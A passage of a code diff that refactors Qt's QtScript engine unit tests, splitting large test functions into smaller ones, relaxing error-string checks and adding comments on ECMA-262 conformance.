+void tst_QScriptEngine::valueConversion_QVariant()
+{
+    QScriptEngine eng;
     // qScriptValueFromValue() should be "smart" when the argument is a QVariant
     {
         QScriptValue val = qScriptValueFromValue(&eng, QVariant());
@@ -2325,7 +2399,12 @@ void tst_QScriptEngine::valueConversion()
         QCOMPARE(val.toVariant(), var);
     }
 
-    // task 248802
+    QCOMPARE(qscriptvalue_cast<QVariant>(QScriptValue(123)), QVariant(123));
+}
+
+void tst_QScriptEngine::valueConversion_hooliganTask248802()
+{
+    QScriptEngine eng;
     qScriptRegisterMetaType<Foo>(&eng, fooToScriptValueV2, fooFromScriptValueV2);
     {
         QScriptValue num(&eng, 123);
@@ -2343,6 +2422,11 @@ void tst_QScriptEngine::valueConversion()
         QCOMPARE(foo.x, 123);
     }
 
+}
+
+void tst_QScriptEngine::valueConversion_basic2()
+{
+    QScriptEngine eng;
     // more built-in types
     {
         QScriptValue val = qScriptValueFromValue(&eng, uint(123));
@@ -2379,6 +2463,11 @@ void tst_QScriptEngine::valueConversion()
         QVERIFY(val.isNumber());
         QCOMPARE(val.toInt32(), 123);
     }
+}
+
+void tst_QScriptEngine::valueConversion_dateTime()
+{
+    QScriptEngine eng;
     {
         QDateTime in = QDateTime::currentDateTime();
         QScriptValue val = qScriptValueFromValue(&eng, in);
@@ -2391,6 +2480,11 @@ void tst_QScriptEngine::valueConversion()
         QVERIFY(val.isDate());
         QCOMPARE(val.toDateTime().date(), in);
     }
+}
+
+void tst_QScriptEngine::valueConversion_regExp()
+{
+    QScriptEngine eng;
     {
         QRegExp in = QRegExp("foo");
         QScriptValue val = qScriptValueFromValue(&eng, in);
@@ -2416,8 +2510,6 @@ void tst_QScriptEngine::valueConversion()
         QEXPECT_FAIL("", "QTBUG-6136: JSC-based back-end doesn't preserve QRegExp::minimal (always false)", Continue);
         QCOMPARE(val.toRegExp().isMinimal(), in.isMinimal());
     }
-
-    QCOMPARE(qscriptvalue_cast<QVariant>(QScriptValue(123)), QVariant(123));
 }
 
 void tst_QScriptEngine::qScriptValueFromValue_noEngine()
@@ -2522,7 +2614,7 @@ void tst_QScriptEngine::importExtension()
             QEXPECT_FAIL("", "JSC throws syntax error eagerly", Continue);
             QCOMPARE(eng.uncaughtExceptionLineNumber(), 4);
             QVERIFY(ret.isError());
-            QCOMPARE(ret.property("message").toString(), QLatin1String("Parse error"));
+            QVERIFY(ret.toString().contains(QLatin1String("SyntaxError")));
         }
         QStringList imp = eng.importedExtensions();
         QCOMPARE(imp.size(), 2);
@@ -2548,6 +2640,9 @@ static QScriptValue recurse2(QScriptContext *ctx, QScriptEngine *eng)
 
 void tst_QScriptEngine::infiniteRecursion()
 {
+    // Infinite recursion in JS should cause the VM to throw an error
+    // when the JS stack is exhausted.
+    // The exact error is back-end specific and subject to change.
     const QString stackOverflowError = QString::fromLatin1("RangeError: Maximum call stack size exceeded.");
     QScriptEngine eng;
     {
@@ -2610,6 +2705,8 @@ void tst_QScriptEngine::castWithPrototypeChain()
     baz2.b = 456;
     QScriptValue baz2Value = qScriptValueFromValue(&eng, &baz2);
     {
+        // qscriptvalue_cast() does magic; if the QScriptValue contains
+        // t of type T, and the target type is T*, &t is returned.
         Baz *pbaz = qscriptvalue_cast<Baz*>(baz2Value);
         QVERIFY(pbaz != 0);
         QCOMPARE(pbaz->b, baz2.b);
@@ -2632,6 +2729,13 @@ void tst_QScriptEngine::castWithPrototypeChain()
         }
 
         // establish chain -- now casting should work
+        // Why? because qscriptvalue_cast() does magic again.
+        // It the instance itself is not of type T, qscriptvalue_cast()
+        // searches the prototype chain for T, and if it finds one, it infers
+        // that the instance can also be casted to that type. This cast is
+        // _not_ safe and thus relies on the developer doing the right thing.
+        // This is an undocumented feature to enable qscriptvalue_cast() to
+        // be used by prototype functions to cast the JS this-object to C++.
         bazProto.setPrototype(barProto);
 
         {
@@ -2740,6 +2844,9 @@ void tst_QScriptEngine::collectGarbage()
 void tst_QScriptEngine::reportAdditionalMemoryCost()
 {
     QScriptEngine eng;
+    // There isn't any reliable way to test whether calling
+    // this function affects garbage collection responsiveness;
+    // the best we can do is call it with a few different values.
     for (int x = 0; x < 1000; ++x) {
         eng.reportAdditionalMemoryCost(0);
         eng.reportAdditionalMemoryCost(10);
@@ -2757,6 +2864,8 @@ void tst_QScriptEngine::reportAdditionalMemoryCost()
 
 void tst_QScriptEngine::gcWithNestedDataStructure()
 {
+    // The GC must be able to traverse deeply nested objects, otherwise this
+    // test would crash.
     QScriptEngine eng;
     eng.evaluate(
         "function makeList(size)"
@@ -2778,6 +2887,7 @@ void tst_QScriptEngine::gcWithNestedDataStructure()
         if (x == 1)
             eng.evaluate("gc()");
         QScriptValue l = head;
+        // Make sure all the nodes are still alive.
         for (int i = 0; i < 200; ++i) {
             QCOMPARE(l.property("data").toString(), QString::number(i));
             l = l.property("next");
@@ -2807,6 +2917,8 @@ void tst_QScriptEngine::processEventsWhileRunning()
         if (x == 0)
             eng.pushContext();
 
+        // This is running for a silly amount of time just to make sure
+        // the script doesn't finish before event processing is triggered.
         QString script = QString::fromLatin1(
             "var end = Number(new Date()) + 2000;"
             "var x = 0;"
@@ -3012,13 +3124,15 @@ void tst_QScriptEngine::numberParsing()
 }
 
 // see ECMA-262, section 7.9
+// This is testing ECMA compliance, not our C++ API, but it's important that
+// the back-end is conformant in this regard.
 void tst_QScriptEngine::automaticSemicolonInsertion()
 {
     QScriptEngine eng;
     {
         QScriptValue ret = eng.evaluate("{ 1 2 } 3");
         QVERIFY(ret.isError());
-        QCOMPARE(ret.toString(), QString::fromLatin1("SyntaxError: Parse error"));
+        QVERIFY(ret.toString().contains("SyntaxError"));
     }
     {
         QScriptValue ret = eng.evaluate("{ 1\n2 } 3");
@@ -3028,7 +3142,7 @@ void tst_QScriptEngine::automaticSemicolonInsertion()
     {
         QScriptValue ret = eng.evaluate("for (a; b\n)");
         QVERIFY(ret.isError());
-        QCOMPARE(ret.toString(), QString::fromLatin1("SyntaxError: Parse error"));
+        QVERIFY(ret.toString().contains("SyntaxError"));
     }
     {
         QScriptValue ret = eng.evaluate("(function() { return\n1 + 2 })()");
@@ -3043,7 +3157,7 @@ void tst_QScriptEngine::automaticSemicolonInsertion()
     {
         QScriptValue ret = eng.evaluate("if (a > b)\nelse c = d");
         QVERIFY(ret.isError());
-        QCOMPARE(ret.toString(), QString::fromLatin1("SyntaxError: Parse error"));
+        QVERIFY(ret.toString().contains("SyntaxError"));
     }
     {
         eng.evaluate("function c() { return { foo: function() { return 5; } } }");
@@ -3055,7 +3169,7 @@ void tst_QScriptEngine::automaticSemicolonInsertion()
     {
         QScriptValue ret = eng.evaluate("throw\n1");
         QVERIFY(ret.isError());
-        QCOMPARE(ret.toString(), QString::fromLatin1("SyntaxError: Parse error"));
+        QVERIFY(ret.toString().contains("SyntaxError"));
     }
     {
         QScriptValue ret = eng.evaluate("a = Number(1)\n++a");
@@ -3257,7 +3371,7 @@ static QScriptValue myFunctionAbortingEvaluation(QScriptContext *, QScriptEngine
     return eng->nullValue(); // should be ignored
 }
 
-void tst_QScriptEngine::abortEvaluation()
+void tst_QScriptEngine::abortEvaluation_notEvaluating()
 {
     QScriptEngine eng;
 
@@ -3270,7 +3384,11 @@ void tst_QScriptEngine::abortEvaluation()
         QVERIFY(ret.isString());
         QCOMPARE(ret.toString(), QString::fromLatin1("ciao"));
     }
+}
 
+void tst_QScriptEngine::abortEvaluation()
+{
+    QScriptEngine eng;
     EventReceiver3 receiver(&eng);
 
     eng.setProcessEventsInterval(100);
@@ -3301,6 +3419,13 @@ void tst_QScriptEngine::abortEvaluation()
         }
     }
 
+}
+
+void tst_QScriptEngine::abortEvaluation_tryCatch()
+{
+    QScriptEngine eng;
+    EventReceiver3 receiver(&eng);
+    eng.setProcessEventsInterval(100);
     // scripts cannot intercept the abortion with try/catch
     for (int y = 0; y < 4; ++y) {
         QCoreApplication::postEvent(&receiver, new QEvent(QEvent::Type(QEvent::User+1)));
@@ -3334,13 +3459,15 @@ void tst_QScriptEngine::abortEvaluation()
             break;
         }
     }
+}
 
-    {
-        QScriptValue fun = eng.newFunction(myFunctionAbortingEvaluation);
-        eng.globalObject().setProperty("myFunctionAbortingEvaluation", fun);
-        QScriptValue ret = eng.evaluate("myFunctionAbortingEvaluation()");
-        QVERIFY(!ret.isValid());
-    }
+void tst_QScriptEngine::abortEvaluation_fromNative()
+{
+    QScriptEngine eng;
+    QScriptValue fun = eng.newFunction(myFunctionAbortingEvaluation);
+    eng.globalObject().setProperty("myFunctionAbortingEvaluation", fun);
+    QScriptValue ret = eng.evaluate("myFunctionAbortingEvaluation()");
+    QVERIFY(!ret.isValid());
 }
 
 class ThreadedEngine : public QThread {
@@ -3407,7 +3534,7 @@ public:
     bool wasEvaluating;
 };
 
-void tst_QScriptEngine::isEvaluating()
+void tst_QScriptEngine::isEvaluating_notEvaluating()
 {
     QScriptEngine eng;
 
@@ -3419,30 +3546,34 @@ void tst_QScriptEngine::isEvaluating()
     QVERIFY(!eng.isEvaluating());
     eng.evaluate("0 = 0");
     QVERIFY(!eng.isEvaluating());
+}
 
-    {
-        QScriptValue fun = eng.newFunction(myFunctionReturningIsEvaluating);
-        eng.globalObject().setProperty("myFunctionReturningIsEvaluating", fun);
-        QScriptValue ret = eng.evaluate("myFunctionReturningIsEvaluating()");
-        QVERIFY(ret.isBoolean());
-        QVERIFY(ret.toBoolean());
-    }
+void tst_QScriptEngine::isEvaluating_fromNative()
+{
+    QScriptEngine eng;
+    QScriptValue fun = eng.newFunction(myFunctionReturningIsEvaluating);
+    eng.globalObject().setProperty("myFunctionReturningIsEvaluating", fun);
+    QScriptValue ret = eng.evaluate("myFunctionReturningIsEvaluating()");
+    QVERIFY(ret.isBoolean());
+    QVERIFY(ret.toBoolean());
+}
 
-    {
-        EventReceiver4 receiver(&eng);
-        QCoreApplication::postEvent(&receiver, new QEvent(QEvent::Type(QEvent::User+1)));
+void tst_QScriptEngine::isEvaluating_fromEvent()
+{
+    QScriptEngine eng;
+    EventReceiver4 receiver(&eng);
+    QCoreApplication::postEvent(&receiver, new QEvent(QEvent::Type(QEvent::User+1)));
 
-        QString script = QString::fromLatin1(
-            "var end = Number(new Date()) + 1000;"
-            "var x = 0;"
-            "while (Number(new Date()) < end) {"
-            "    ++x;"
-            "}");
+    QString script = QString::fromLatin1(
+        "var end = Number(new Date()) + 1000;"
+        "var x = 0;"
+        "while (Number(new Date()) < end) {"
+        "    ++x;"
+        "}");
 
-        eng.setProcessEventsInterval(100);
-        eng.evaluate(script);
-        QVERIFY(receiver.wasEvaluating);
-    }
+    eng.setProcessEventsInterval(100);
+    eng.evaluate(script);
+    QVERIFY(receiver.wasEvaluating);
 }
 
 static QtMsgType theMessageType;
@@ -3456,24 +3587,33 @@ static void myMsgHandler(QtMsgType type, const char *msg)
 
 void tst_QScriptEngine::printFunctionWithCustomHandler()
 {
+    // The built-in print() function passes the output to Qt's message
+    // handler. By installing a custom message handler, the output can be
+    // redirected without changing the print() function itself.
+    // This behavior is not documented.
     QScriptEngine eng;
     QtMsgHandler oldHandler = qInstallMsgHandler(myMsgHandler);
     QVERIFY(eng.globalObject().property("print").isFunction());
+
     theMessageType = QtSystemMsg;
     QVERIFY(theMessage.isEmpty());
     QVERIFY(eng.evaluate("print('test')").isUndefined());
     QCOMPARE(theMessageType, QtDebugMsg);
     QCOMPARE(theMessage, QString::fromLatin1("test"));
+
     theMessageType = QtSystemMsg;
     theMessage.clear();
     QVERIFY(eng.evaluate("print(3, true, 'little pigs')").isUndefined());
     QCOMPARE(theMessageType, QtDebugMsg);
     QCOMPARE(theMessage, QString::fromLatin1("3 true little pigs"));
+
     qInstallMsgHandler(oldHandler);
 }
 
 void tst_QScriptEngine::printThrowsException()
 {
+    // If an argument to print() causes an exception to be thrown when
+    // it's converted to a string, print() should propagate the exception.
     QScriptEngine eng;
     QScriptValue ret = eng.evaluate("print({ toString: function() { throw 'foo'; } });");
     QVERIFY(eng.hasUncaughtException());
@@ -3506,34 +3646,30 @@ void tst_QScriptEngine::errorConstructors()
     }
 }
 
-static QScriptValue argumentsProperty_fun(QScriptContext *, QScriptEngine *eng)
+void tst_QScriptEngine::argumentsProperty_globalContext()
 {
-    eng->evaluate("var a = arguments[0];");
-    eng->evaluate("arguments[0] = 200;");
-    return eng->evaluate("a + arguments[0]");
+    QScriptEngine eng;
+    {
+        // Unlike function calls, the global context doesn't have an
+        // arguments property.
+        QScriptValue ret = eng.evaluate("arguments");
+        QVERIFY(ret.isError());
+        QVERIFY(ret.toString().contains(QString::fromLatin1("ReferenceError")));
+    }
+    eng.evaluate("arguments = 10");
+    {
+        QScriptValue ret = eng.evaluate("arguments");
+        QVERIFY(ret.isNumber());
+        QCOMPARE(ret.toInt32(), 10);
+    }
+    QVERIFY(eng.evaluate("delete arguments").toBoolean());
+    QVERIFY(!eng.globalObject().property("arguments").isValid());
 }
 
-
-void tst_QScriptEngine::argumentsProperty()
+void tst_QScriptEngine::argumentsProperty_JS()
 {
     {
         QScriptEngine eng;
-        {
-            QScriptValue ret = eng.evaluate("arguments");
-            QVERIFY(ret.isError());
-            QCOMPARE(ret.toString(), QString::fromLatin1("ReferenceError: Can't find variable: arguments"));
-        }
-        eng.evaluate("arguments = 10");
-        {
-            QScriptValue ret = eng.evaluate("arguments");
-            QVERIFY(ret.isNumber());
-            QCOMPARE(ret.toInt32(), 10);
-        }
-        QVERIFY(eng.evaluate("delete arguments").toBoolean());
-        QVERIFY(!eng.globalObject().property("arguments").isValid());
-    }
-    {
-        QScriptEngine eng;
         eng.evaluate("o = { arguments: 123 }");
         QScriptValue ret = eng.evaluate("with (o) { arguments; }");
         QVERIFY(ret.isNumber());
@@ -3542,25 +3678,40 @@ void tst_QScriptEngine::argumentsProperty()
     {
         QScriptEngine eng;
         QVERIFY(!eng.globalObject().property("arguments").isValid());
+        // This is testing ECMA-262 compliance. In function calls, "arguments"
+        // appears like a local variable, and it can be replaced.
         QScriptValue ret = eng.evaluate("(function() { arguments = 456; return arguments; })()");
         QVERIFY(ret.isNumber());
         QCOMPARE(ret.toInt32(), 456);
         QVERIFY(!eng.globalObject().property("arguments").isValid());
     }
+}
 
-    {
-        QScriptEngine eng;
-        QScriptValue fun = eng.newFunction(argumentsProperty_fun);
-        eng.globalObject().setProperty("fun", eng.newFunction(argumentsProperty_fun));
-        QScriptValue result = eng.evaluate("fun(18)");
-        QVERIFY(result.isNumber());
-        QCOMPARE(result.toInt32(), 218);
-    }
+static QScriptValue argumentsProperty_fun(QScriptContext *, QScriptEngine *eng)
+{
+    // Since evaluate() is done in the current context, "arguments" should
+    // refer to currentContext()->argumentsObject().
+    // This is for consistency with the built-in JS eval() function.
+    eng->evaluate("var a = arguments[0];");
+    eng->evaluate("arguments[0] = 200;");
+    return eng->evaluate("a + arguments[0]");
 }
 
-void tst_QScriptEngine::numberClass()
+void tst_QScriptEngine::argumentsProperty_evaluateInNativeFunction()
 {
     QScriptEngine eng;
+    QScriptValue fun = eng.newFunction(argumentsProperty_fun);
+    eng.globalObject().setProperty("fun", eng.newFunction(argumentsProperty_fun));
+    QScriptValue result = eng.evaluate("fun(18)");
+    QVERIFY(result.isNumber());
+    QCOMPARE(result.toInt32(), 200+18);
+}
+
+void tst_QScriptEngine::jsNumberClass()
+{
+    // See ECMA-262 Section 15.7, "Number Objects".
+
+    QScriptEngine eng;
 
     QScriptValue ctor = eng.globalObject().property("Number");
     QVERIFY(ctor.property("length").isNumber());
@@ -3669,7 +3820,7 @@ void tst_QScriptEngine::numberClass()
     }
 }
 
-void tst_QScriptEngine::forInStatement()
+void tst_QScriptEngine::jsForInStatement_simple()
 {
     QScriptEngine eng;
     {
@@ -3692,8 +3843,11 @@ void tst_QScriptEngine::forInStatement()
         QCOMPARE(lst.at(0), QString::fromLatin1("p"));
         QCOMPARE(lst.at(1), QString::fromLatin1("q"));
     }
+}
 
-    // properties in prototype
+void tst_QScriptEngine::jsForInStatement_prototypeProperties()
+{
+    QScriptEngine eng;
     {
         QScriptValue ret = eng.evaluate("o = { }; o.__proto__ = { p: 123 }; r = [];"
                                         "for (var p in o) r[r.length] = p; r");
@@ -3718,6 +3872,11 @@ void tst_QScriptEngine::forInStatement()
         QCOMPARE(lst.at(0), QString::fromLatin1("p"));
     }
 
+}
+
+void tst_QScriptEngine::jsForInStatement_mutateWhileIterating()
+{
+    QScriptEngine eng;
     // deleting property during enumeration
     {
         QScriptValue ret = eng.evaluate("o = { p: 123 }; r = [];"
@@ -3743,7 +3902,11 @@ void tst_QScriptEngine::forInStatement()
         QCOMPARE(lst.at(0), QString::fromLatin1("p"));
     }
 
-    // arrays
+}
+
+void tst_QScriptEngine::jsForInStatement_arrays()
+{
+    QScriptEngine eng;
     {
         QScriptValue ret = eng.evaluate("a = [123, 456]; r = [];"
                                         "for (var p in a) r[r.length] = p; r");
@@ -3774,10 +3937,11 @@ void tst_QScriptEngine::forInStatement()
         QCOMPARE(lst.at(3), QString::fromLatin1("2"));
         QCOMPARE(lst.at(4), QString::fromLatin1("bar"));
     }
+}
 
-    // null and undefined
-    // according to the spec, we should throw an exception; however, for
-    // compability with the real world, we don't
+void tst_QScriptEngine::jsForInStatement_nullAndUndefined()
+{
+    QScriptEngine eng;
     {
         QScriptValue ret = eng.evaluate("r = true; for (var p in undefined) r = false; r");
         QVERIFY(ret.isBool());
@@ -3790,9 +3954,17 @@ void tst_QScriptEngine::forInStatement()
     }
 }
 
-void tst_QScriptEngine::functionExpression()
+void tst_QScriptEngine::jsFunctionDeclarationAsStatement()
 {
-    // task 175679
+    // ECMA-262 does not allow function declarations to be used as statements,
+    // but several popular implementations (including JSC) do. See the NOTE
+    // at the beginning of chapter 12 in ECMA-262 5th edition, where it's
+    // recommended that implementations either disallow this usage or issue
+    // a warning.
+    // Since we had a bug report long ago about QtScript not supporting this
+    // "feature" (and thus deviating from other implementations), we still
+    // check this behavior.
+
     QScriptEngine eng;
     QVERIFY(!eng.globalObject().property("bar").isValid());
     eng.evaluate("function foo(arg) {\n"
@@ -3825,6 +3997,8 @@ void tst_QScriptEngine::functionExpression()
 
 void tst_QScriptEngine::stringObjects()
 {
+    // See ECMA-262 Section 15.5, "String Objects".
+
     QScriptEngine eng;
     QString str("ciao");
     // in C++
@@ -3886,7 +4060,11 @@ void tst_QScriptEngine::stringObjects()
         QVERIFY(ret7.isBoolean());
         QVERIFY(ret7.toBoolean());
     }
+}
 
+void tst_QScriptEngine::jsStringPrototypeReplaceBugs()
+{
+    QScriptEngine eng;
     // task 212440
     {
         QScriptValue ret = eng.evaluate("replace_args = []; \"a a a\".replace(/(a)/g, function() { replace_args.push(arguments); }); replace_args");
@@ -4024,7 +4202,8 @@ void tst_QScriptEngine::getterSetterThisObject_activation()
         // read
         eng.evaluate("act.__defineGetter__('x', function() { return this; })");
         QVERIFY(eng.evaluate("x === act").toBoolean());
-        QEXPECT_FAIL("", "Exotic overload (don't care for now)", Continue);
+        QEXPECT_FAIL("", "QTBUG-17605: Not possible to implement local variables as getter/setter properties", Abort);
+        QVERIFY(!eng.hasUncaughtException());
         QVERIFY(eng.evaluate("with (act) x").equals("foo"));
         QVERIFY(eng.evaluate("(function() { with (act) return x; })() === act").toBoolean());
         eng.evaluate("q = {}; with (act) with (q) x").equals(eng.evaluate("act"));
@@ -4038,8 +4217,10 @@ void tst_QScriptEngine::getterSetterThisObject_activation()
     }
 }
 
-void tst_QScriptEngine::continueInSwitch()
+void tst_QScriptEngine::jsContinueInSwitch()
 {
+    // This is testing ECMA-262 compliance, not C++ API.
+
     QScriptEngine eng;
     // switch - continue
     {
@@ -4116,35 +4297,17 @@ void tst_QScriptEngine::continueInSwitch()
     }
 }
 
-void tst_QScriptEngine::readOnlyPrototypeProperty()
+void tst_QScriptEngine::jsShadowReadOnlyPrototypeProperty()
 {
-    QSKIP("JSC semantics differ from old back-end and SpiderMonkey", SkipAll);
+    // SpiderMonkey has different behavior than JSC and V8; it disallows
+    // creating a property on the instance if there's a property with the
+    // same name in the prototype, and that property is read-only. We
+    // adopted that behavior in the old (4.5) QtScript back-end, but it
+    // just seems weird -- and non-compliant. Adopt the JSC behavior instead.
     QScriptEngine eng;
-    QCOMPARE(eng.evaluate("o = {}; o.__proto__ = parseInt; o.length").toInt32(), 2);
-    QCOMPARE(eng.evaluate("o.length = 4; o.length").toInt32(), 2);
-    QVERIFY(!eng.evaluate("o.hasOwnProperty('length')").toBoolean());
-    QCOMPARE(eng.evaluate("o.length *= 2; o.length").toInt32(), 2);
-    QCOMPARE(eng.evaluate("o.length /= 2; o.length").toInt32(), 2);
-    QCOMPARE(eng.evaluate("o.length %= 2; o.length").toInt32(), 2);
-    QCOMPARE(eng.evaluate("o.length += 2; o.length").toInt32(), 2);
-    QCOMPARE(eng.evaluate("o.length -= 2; o.length").toInt32(), 2);
-    QCOMPARE(eng.evaluate("o.length <<= 2; o.length").toInt32(), 2);
-    QCOMPARE(eng.evaluate("o.length >>= 2; o.length").toInt32(), 2);
-    QCOMPARE(eng.evaluate("o.length >>>= 2; o.length").toInt32(), 2);
-    QCOMPARE(eng.evaluate("o.length &= 0; o.length").toInt32(), 2);
-    QCOMPARE(eng.evaluate("o.length ^= 255; o.length").toInt32(), 2);
-    QCOMPARE(eng.evaluate("o.length |= 255; o.length").toInt32(), 2);
-
-    {
-        QScriptValue ret = eng.evaluate("o.__defineGetter__('length', function() {})");
-        QVERIFY(ret.isError());
-        QCOMPARE(ret.toString(), QString::fromLatin1("Error: cannot redefine read-only property"));
-    }
-    {
-        QScriptValue ret = eng.evaluate("o.__defineSetter__('length', function() {})");
-        QVERIFY(ret.isError());
-        QCOMPARE(ret.toString(), QString::fromLatin1("Error: cannot redefine read-only property"));
-    }
+    QVERIFY(eng.evaluate("o = {}; o.__proto__ = parseInt; o.length").isNumber());
+    QCOMPARE(eng.evaluate("o.length = 123; o.length").toInt32(), 123);
+    QVERIFY(eng.evaluate("o.hasOwnProperty('length')").toBoolean());
 }
 
 void tst_QScriptEngine::toObject()
@@ -4226,7 +4389,7 @@ void tst_QScriptEngine::toObject()
     QVERIFY(stringValue.isString());
 }
 
-void tst_QScriptEngine::reservedWords_data()
+void tst_QScriptEngine::jsReservedWords_data()
 {
     QTest::addColumn<QString>("word");
     QTest::newRow("break") << QString("break");
@@ -4259,8 +4422,13 @@ void tst_QScriptEngine::reservedWords_data()
     QTest::newRow("with") << QString("with");
 }
 
-void tst_QScriptEngine::reservedWords()
+void tst_QScriptEngine::jsReservedWords()
 {
+    // See ECMA-262 Section 7.6.1, "Reserved Words".
+    // We prefer that the implementation is less strict than the spec; e.g.
+    // it's good to allow reserved words as identifiers in object literals,
+    // and when accessing properties using dot notation.
+
     QFETCH(QString, word);
     {
         QScriptEngine eng;
@@ -4298,7 +4466,7 @@ void tst_QScriptEngine::reservedWords()
     }
 }
 
-void tst_QScriptEngine::futureReservedWords_data()
+void tst_QScriptEngine::jsFutureReservedWords_data()
 {
     QTest::addColumn<QString>("word");
     QTest::addColumn<bool>("allowed");
@@ -4335,8 +4503,12 @@ void tst_QScriptEngine::futureReservedWords_data()
     QTest::newRow("volatile") << QString("volatile") << true;
 }
 
-void tst_QScriptEngine::futureReservedWords()
+void tst_QScriptEngine::jsFutureReservedWords()
 {
+    // See ECMA-262 Section 7.6.1.2, "Future Reserved Words".
+    // In real-world implementations, most of these words are
+    // actually allowed as normal identifiers.
+
     QFETCH(QString, word);
     QFETCH(bool, allowed);
     {
@@ -4364,8 +4536,10 @@ void tst_QScriptEngine::futureReservedWords()
     }
 }
 
-void tst_QScriptEngine::throwInsideWithStatement()
+void tst_QScriptEngine::jsThrowInsideWithStatement()
 {
+    // This is testing ECMA-262 compliance, not C++ API.
+
     // task 209988
     QScriptEngine eng;
     {
@@ -4379,7 +4553,7 @@ void tst_QScriptEngine::throwInsideWithStatement()
             "  bad;"
             "}");
         QVERIFY(ret.isError());
-        QCOMPARE(ret.toString(), QString::fromLatin1("ReferenceError: Can't find variable: bad"));
+        QVERIFY(ret.toString().contains(QString::fromLatin1("ReferenceError")));
     }
     {
         QScriptValue ret = eng.evaluate(
@@ -4392,7 +4566,7 @@ void tst_QScriptEngine::throwInsideWithStatement()
             "  bad;"
             "}");
         QVERIFY(ret.isError());
-        QCOMPARE(ret.toString(), QString::fromLatin1("ReferenceError: Can't find variable: bad"));
+        QVERIFY(ret.toString().contains(QString::fromLatin1("ReferenceError")));
     }
     {
         eng.clearExceptions();
@@ -4419,7 +4593,7 @@ void tst_QScriptEngine::throwInsideWithStatement()
         QVERIFY(ret.isNumber());
         QScriptValue ret2 = eng.evaluate("bug");
         QVERIFY(ret2.isError());
-        QCOMPARE(ret2.toString(), QString::fromLatin1("ReferenceError: Can't find variable: bug"));
+        QVERIFY(ret2.toString().contains(QString::fromLatin1("ReferenceError")));
     }
 }
 
@@ -4429,106 +4603,116 @@ public:
     TestAgent(QScriptEngine *engine) : QScriptEngineAgent(engine) {}
 };
 
-void tst_QScriptEngine::getSetAgent()
+void tst_QScriptEngine::getSetAgent_ownership()
 {
-    // case 1: engine deleted before agent --> agent deleted too
-    {
-        QScriptEngine *eng = new QScriptEngine;
-        QCOMPARE(eng->agent(), (QScriptEngineAgent*)0);
-        TestAgent *agent = new TestAgent(eng);
-        eng->setAgent(agent);
-        QCOMPARE(eng->agent(), (QScriptEngineAgent*)agent);
-        eng->setAgent(0); // the engine maintains ownership of the old agent
-        QCOMPARE(eng->agent(), (QScriptEngineAgent*)0);
-        delete eng;
-    }
-    // case 2: agent deleted before engine --> engine's agent should become 0
-    {
-        QScriptEngine *eng = new QScriptEngine;
-        TestAgent *agent = new TestAgent(eng);
-        eng->setAgent(agent);
-        QCOMPARE(eng->agent(), (QScriptEngineAgent*)agent);
-        delete agent;
-        QCOMPARE(eng->agent(), (QScriptEngineAgent*)0);
-        eng->evaluate("(function(){ return 123; })()");
-        delete eng;
-    }
-    {
-        QScriptEngine eng;
-        QScriptEngine eng2;
-        TestAgent *agent = new TestAgent(&eng);
-        QTest::ignoreMessage(QtWarningMsg, "QScriptEngine::setAgent(): cannot set agent belonging to different engine");
-        eng2.setAgent(agent);
-        QCOMPARE(eng2.agent(), (QScriptEngineAgent*)0);
-    }
+    // engine deleted before agent --> agent deleted too
+    QScriptEngine *eng = new QScriptEngine;
+    QCOMPARE(eng->agent(), (QScriptEngineAgent*)0);
+    TestAgent *agent = new TestAgent(eng);
+    eng->setAgent(agent);
+    QCOMPARE(eng->agent(), (QScriptEngineAgent*)agent);
+    eng->setAgent(0); // the engine maintains ownership of the old agent
+    QCOMPARE(eng->agent(), (QScriptEngineAgent*)0);
+    delete eng;
 }
 
-void tst_QScriptEngine::reentrancy()
+void tst_QScriptEngine::getSetAgent_deleteAgent()
 {
+    // agent deleted before engine --> engine's agent should become 0
+    QScriptEngine *eng = new QScriptEngine;
+    TestAgent *agent = new TestAgent(eng);
+    eng->setAgent(agent);
+    QCOMPARE(eng->agent(), (QScriptEngineAgent*)agent);
+    delete agent;
+    QCOMPARE(eng->agent(), (QScriptEngineAgent*)0);
+    eng->evaluate("(function(){ return 123; })()");
+    delete eng;
+}
+
+void tst_QScriptEngine::getSetAgent_differentEngine()
+{
+    QScriptEngine eng;
+    QScriptEngine eng2;
+    TestAgent *agent = new TestAgent(&eng);
+    QTest::ignoreMessage(QtWarningMsg, "QScriptEngine::setAgent(): cannot set agent belonging to different engine");
+    eng2.setAgent(agent);
+    QCOMPARE(eng2.agent(), (QScriptEngineAgent*)0);
+}
+
+void tst_QScriptEngine::reentrancy_stringHandles()
+{
+    QScriptEngine eng1;
+    QScriptEngine eng2;
+    QScriptString s1 = eng1.toStringHandle("foo");
+    QScriptString s2 = eng2.toStringHandle("foo");
+    QVERIFY(s1 != s2);
+}
+
+void tst_QScriptEngine::reentrancy_processEventsInterval()
+{
+    QScriptEngine eng1;
+    QScriptEngine eng2;
+    eng1.setProcessEventsInterval(123);
+    QCOMPARE(eng2.processEventsInterval(), -1);
+    eng2.setProcessEventsInterval(456);
+    QCOMPARE(eng1.processEventsInterval(), 123);
+}
+
+void tst_QScriptEngine::reentrancy_typeConversion()
+{
+    QScriptEngine eng1;
+    QScriptEngine eng2;
+    qScriptRegisterMetaType<Foo>(&eng1, fooToScriptValue, fooFromScriptValue);
+    Foo foo;
+    foo.x = 12;
+    foo.y = 34;
     {
-        QScriptEngine eng1;
-        QScriptEngine eng2;
-        QScriptString s1 = eng1.toStringHandle("foo");
-        QScriptString s2 = eng2.toStringHandle("foo");
-        QVERIFY(s1 != s2);
-    }
-    {
-        QScriptEngine eng1;
-        QScriptEngine eng2;
-        eng1.setProcessEventsInterval(123);
-        QCOMPARE(eng2.processEventsInterval(), -1);
-        eng2.setProcessEventsInterval(456);
-        QCOMPARE(eng1.processEventsInterval(), 123);
+        QScriptValue fooVal = qScriptValueFromValue(&eng1, foo);
+        QVERIFY(fooVal.isObject());
+        QVERIFY(!fooVal.isVariant());
+        QCOMPARE(fooVal.property("x").toInt32(), 12);
+        QCOMPARE(fooVal.property("y").toInt32(), 34);
+        fooVal.setProperty("x", 56);
+        fooVal.setProperty("y", 78);
+
+        Foo foo2 = qScriptValueToValue<Foo>(fooVal);
+        QCOMPARE(foo2.x, 56);
+        QCOMPARE(foo2.y, 78);
     }
     {
-        QScriptEngine eng1;
-        QScriptEngine eng2;
-        qScriptRegisterMetaType<Foo>(&eng1, fooToScriptValue, fooFromScriptValue);
-        Foo foo;
-        foo.x = 12;
-        foo.y = 34;
-        {
-            QScriptValue fooVal = qScriptValueFromValue(&eng1, foo);
-            QVERIFY(fooVal.isObject());
-            QVERIFY(!fooVal.isVariant());
-            QCOMPARE(fooVal.property("x").toInt32(), 12);
